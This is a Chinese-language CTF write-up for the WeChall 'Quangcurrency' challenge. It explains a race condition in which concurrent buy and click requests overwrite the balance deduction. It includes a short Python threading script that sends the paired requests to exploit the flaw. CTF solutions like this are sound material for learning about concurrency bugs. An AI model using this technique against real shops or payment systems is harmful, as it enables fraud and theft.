WeChall - Quangcurrency

Challenge

购买 10 个 item。初始余额不够,click 每次 +1 cent,最多 50 次。题名 Quangcurrency 暗示 concurrency(race condition)。

Solution

核心是竞态条件(TOCTOU / lost update)。buy.phpclick.php 两个端点的余额读写操作不加锁,并发请求可以制造覆盖:

1
2
buy.php:   读余额 → 判断够买 → item+1 → balance -= price
click.php: 读余额 → balance += 1

如果两个请求同时执行,可能发生:

  1. buy 读余额 X,扣除 price,写回 X-price
  2. click 同时读余额 X(旧值),写回 X+1
  3. click 的写入覆盖了 buy 的扣款 → item 增加了但余额没有正确减少

利用这个漏洞,成对发送 buy.phpclick.php 请求,每次买一个 item 的同时用 click 覆盖扣款。重复直到 items >= 10。

实现要点:

登录后先访问 stats.php 查看当前 money / items / clicks 状态。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests, threading

s = requests.Session()
s.cookies.set('WC', 'your_cookie')

def race_round(s):
"""并发发送 buy 和 click"""
t1 = threading.Thread(target=lambda: s.get('buy.php'))
t2 = threading.Thread(target=lambda: s.get('click.php'))
t1.start(); t2.start()
t1.join(); t2.join()

for _ in range(15): # 不需要太多轮
race_round(s)
stats = s.get('stats.php')
if stats.json().get('items') >= 10:
break
  • click 只有 50 次,不要浪费在大循环上
  • 并发强度不需要太高——官方论坛提示甚至可以用浏览器多标签手动复现
  • 不要 reset,除非状态已不可恢复
  • 可以在浏览器中手动验证:同时按 buy 和 click 按钮,观察 item 增加但余额未对应减少

备选方案(来自论坛提示): 用浏览器打开两个标签页,快速交替点击 buy 和 click,有一定几率触发 race。脚本更稳定。